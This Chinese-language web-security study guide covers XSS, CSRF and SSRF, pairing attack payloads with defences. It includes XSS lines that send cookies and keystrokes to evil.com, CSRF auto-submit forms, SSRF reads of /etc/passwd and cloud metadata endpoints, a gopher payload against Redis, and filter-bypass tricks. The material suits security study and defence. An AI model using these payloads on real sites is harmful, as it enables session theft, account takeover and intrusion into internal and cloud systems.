1 XSS跨站脚本攻击
1.1 漏洞原理与分类
核心原理
// 漏洞本质:用户输入被当作代码执行
用户输入: <script>alert('XSS')</script>
服务器输出: <div>用户输入: <script>alert('XSS')</script></div>
浏览器执行: 弹出警告框
基础分类对比
|-------------|-------|---------|--------|----------|
| 类型 | 持久性 | 数据存储位置 | 影响范围 | 典型案例 |
| 反射型XSS | 非持续 | URL参数 | 单个用户 | 恶意链接传播 |
| 存储型XSS | 持续 | 服务器数据库 | 所有访问用户 | 论坛留言XSS |
| DOM型XSS | 依赖客户端 | 不存储到服务器 | 单个用户 | 前端JS处理漏洞 |
1.2 详细分类解析
常用标签 :https://www.freebuf.com/articles/web/340080.html
XSS :https://www.fooying.com/the-art-of-xss-1-introduction/
绕过:有但鸡肋
https://xz.aliyun.com/t/12370
https://blog.csdn.net/a1766855068/article/details/89370320
https://blog.csdn.net/weixin_42478365/article/details/116597222
1.2.1 反射型XSS
攻击流程:
1. 攻击者构造恶意URL: http://victim.com/search?q=<script>alert(1)</script>
2. 诱骗用户点击链接
3. 服务器返回包含恶意脚本的页面
4. 用户浏览器执行恶意脚本
检测方法:
- 在所有输入点尝试提交XSS payload
- 检查参数是否未经处理直接输出到页面
- 测试GET/POST/Header等所有数据交互位置
1.2.2 存储型XSS
攻击流程:
1. 攻击者在留言板提交: <script>stealCookie()</script>
2. 恶意代码存储到数据库
3. 其他用户访问留言板页面
4. 所有访问者浏览器执行恶意脚本
高危场景:
- 用户评论/留言系统
- 富文本编辑器内容
- 用户资料展示页面
- 文件上传名称显示
1.2.3 DOM型XSS
攻击示例:
<!-- 漏洞代码 -->
<script>
var search = document.location.search;
var keyword = search.split('=')[1];
document.write("搜索关键词: " + keyword);
</script>
<!-- 攻击URL -->
http://site.com/search?keyword=<script>alert('DOM XSS')</script>
1.3 高级XSS类型
1.3.1 UXSS(通用跨站脚本)
原理: 利用浏览器或扩展漏洞
- CVE-2021-34506: Edge浏览器翻译功能漏洞
- 攻击效果: 绕过同源策略,访问其他域名数据
1.3.2 SVG XSS
攻击向量:
<!-- 恶意SVG文件 -->
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert('SVG XSS')</script>
<image href="javascript:alert(1)"/>
<a href="javascript:alert(2)"><text>点击我</text></a>
</svg>
1.3.3 其他扩展类型
- mXSS: 由于HTML解析差异导致的XSS
- jQuery XSS: jQuery选择器或方法使用不当
- PDF XSS: PDF内嵌JavaScript执行
- Flash XSS: ActionScript脚本注入
1.4 XSS攻击向量与利用
常用Payload标签
<!-- 基础脚本标签 -->
<script>alert('XSS')</script>
<script src="http://evil.com/xss.js"></script>
<!-- 事件处理器 -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<!-- JavaScript伪协议 -->
<a href="javascript:alert(1)">点击</a>
<iframe src="javascript:alert(1)">
<!-- 数据劫持 -->
<meta http-equiv="refresh" content="0; url=http://evil.com">
实际攻击利用场景
// 1. Cookie窃取
<script>fetch('http://evil.com/steal?cookie='+document.cookie)</script>
// 2. 页面劫持
<script>document.location='http://evil.com/phishing'</script>
// 3. 键盘记录
<script>document.onkeypress=function(e){fetch('http://evil.com/log?key='+e.key)}</script>
// 4. 内网探测
<script>
var img = new Image();
img.src = "http://192.168.1.1:8080/test.jpg";
img.onerror = function() { /* 端口开放 */ }
</script>
1.5 XSS测试方法论
系统化测试流程

上下文相关测试
<!-- HTML标签内 -->
<div>INPUT</div> <!-- 使用 </div><script>alert(1)</script> -->
<!-- HTML属性内 -->
<input value="INPUT"> <!-- 使用 "><script>alert(1)</script> -->
<!-- JavaScript代码内 -->
<script>var name = "INPUT";</script> <!-- 使用 ";alert(1);// -->
<!-- URL上下文 -->
<a href="INPUT">link</a> <!-- 使用 javascript:alert(1) -->
1.6 XSS防护方案
1.6.1 CSP(内容安全策略)
配置示例:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://trusted.cdn.com;
img-src *;
style-src 'self' 'unsafe-inline';
CSP绕过技术:
- 利用允许的CDN域名上传恶意脚本
- 基于JSONP的回调函数执行
- 数据URI scheme利用
- 不完整策略配置利用
1.6.2 HttpOnly Cookie
配置方法:
// PHP配置
session.cookie_httponly = 1
ini_set("session.cookie_httponly", 1);
setcookie('sessionid', 'value', time()+3600, '/', '', false, true);
绕过限制:
- 利用CVE-2012-0053等历史漏洞
- 通过phpinfo页面获取Session ID
- Flash/Java插件中的XMLHttpRequest
- 不依赖Cookie的攻击方式(钓鱼、BEEF框架)
1.6.3 输入过滤与输出编码
防御策略:
// 输入过滤
function xss_filter($input) {
$input = strip_tags($input);
$input = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
return $input;
}
// 上下文感知输出编码
function encode_for_html($input) {
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
}
function encode_for_js($input) {
return json_encode($input);
}
function encode_for_attribute($input) {
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
}
2 CSRF跨站请求伪造
2.1 漏洞原理与检测
核心原理
<!-- 恶意页面 -->
<img src="http://bank.com/transfer?to=attacker&amount=1000">
<!-- 用户登录bank.com后访问此页面,自动发起转账请求 -->
检测方法
黑盒检测:
- 检查关键操作是否缺乏CSRF Token
- 验证Referer检查是否可绕过
- 测试Cookie的SameSite属性
白盒审计:
// 存在漏洞的代码 - 无防护
if ($_POST['action'] == 'transfer') {
transfer_money($_POST['to'], $_POST['amount']);
}
// 安全代码 - 有Token验证
if ($_POST['action'] == 'transfer' &&
$_POST['csrf_token'] === $_SESSION['csrf_token']) {
transfer_money($_POST['to'], $_POST['amount']);
}
2.2 CSRF利用技术
基础利用
<!-- 自动提交表单 -->
<form id="csrf" action="http://victim.com/change_email" method="POST">
<input name="email" value="attacker@evil.com">
</form>
<script>document.getElementById('csrf').submit();</script>
<!-- 图片标签CSRF -->
<img src="http://victim.com/delete_account" width="0" height="0">
高级绕过技术
2.2.1 Referer检查绕过
<!-- 空Referer -->
<meta name="referrer" content="never">
<!-- 从HTTPS跳到HTTP丢失Referer -->
<!-- 利用重定向绕过检查 -->
<!-- 子域名绕过 -->
<!-- 如果检查宽松: victim.com 允许 *.victim.com -->
2.2.2 Token防护绕过
// Token删除攻击
// 直接删除token参数,某些实现会跳过验证
// Token复用攻击
// 捕获合法token在多个请求中重复使用
// Token预测
// 如果token生成算法有规律可循
// 通过XSS窃取Token
// 先XSS获取token,再构造CSRF
2.3 CSRF防护方案
完整防护体系
// 1. CSRF Token实现
function generate_csrf_token() {
return bin2hex(random_bytes(32));
}
function validate_csrf_token($token) {
return hash_equals($_SESSION['csrf_token'], $token);
}
// 2. SameSite Cookie
setcookie('sessionid', 'value', [
'samesite' => 'Strict',
'secure' => true,
'httponly' => true
]);
// 3. 双重提交验证
// Cookie和表单中都包含token,服务器验证一致性
3 SSRF服务器端请求伪造
3.1 漏洞原理与危害
核心原理
// 存在漏洞的代码
$url = $_GET['url'];
$content = file_get_contents($url);
echo $content;
// 攻击者输入: http://internal-server:8080/secret
// 服务器访问内网资源并返回结果
攻击影响
- 内网服务探测: 扫描内网IP和端口
- 内部系统访问: 访问管理界面、数据库等
- 云元数据窃取: AWS/Aliyun/腾讯云元数据API
- 远程代码执行: 结合其他服务漏洞
3.2 SSRF漏洞挖掘
黑盒探测点识别
业务功能场景:
# 1. 社交分享预览
GET /preview?url=http://target.com
# 2. 网页转码服务
GET /transcode?url=http://target.com
# 3. 在线翻译
POST /translate { "url": "http://target.com" }
# 4. 图片处理
GET /download?image_url=http://target.com/1.jpg
# 5. 数据采集
POST /crawl { "target": "http://site.com" }
关键参数识别:
share wap url link
src source target u
display sourceUrl imageURL path
file page host api
3.3 SSRF利用技术
3.3.1 协议利用
# 1. HTTP/HTTPS协议 - 基础内网探测
http://192.168.1.1:8080/admin
http://127.0.0.1:3306
# 2. File协议 - 文件读取
file:///etc/passwd
file:///C:/Windows/System32/drivers/etc/hosts
# 3. Dict协议 - 端口扫描
dict://192.168.1.1:22/info
dict://127.0.0.1:6379/info
# 4. Gopher协议 - 发送任意TCP数据
gopher://127.0.0.1:6379/_*2%0d%0a$4%0d%0aPING%0d%0a
# 5. FTP协议 - 数据外带
ftp://attacker.com:21/file.txt
3.3.2 云环境利用
# AWS元数据
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
# 阿里云元数据
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/user-data/
# 腾讯云元数据
http://metadata.tencentyun.com/latest/meta-data/
3.3.3 绕过技术
# 1. 域名重定向
http://evil.com/redirect -> http://internal.com
# 2. IP编码
http://2130706433/ = http://127.0.0.1
http://0x7f000001/ = http://127.0.0.1
# 3. 特殊域名
http://localhost.attacker.com
http://127.0.0.1.xip.io
# 4. URL解析差异
http://127.0.0.1@evil.com
http://evil.com#@127.0.0.1
3.4 SSRF防护方案
多层防护策略
// 1. 白名单验证
function is_allowed_url($url) {
$allowed_domains = ['cdn.trusted.com', 'static.trusted.com'];
$host = parse_url($url, PHP_URL_HOST);
return in_array($host, $allowed_domains);
}
// 2. 协议限制
$allowed_schemes = ['http', 'https'];
$scheme = parse_url($url, PHP_URL_SCHEME);
if (!in_array($scheme, $allowed_schemes)) {
return false;
}
// 3. IP黑名单
$blacklist_ips = ['127.0.0.1', '192.168.0.0/16', '10.0.0.0/8'];
$ip = gethostbyname($host);
foreach ($blacklist_ips as $black_ip) {
if (ip_in_range($ip, $black_ip)) {
return false;
}
}
// 4. 使用中间代理
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_PROXY, 'proxy.internal:8080');
curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);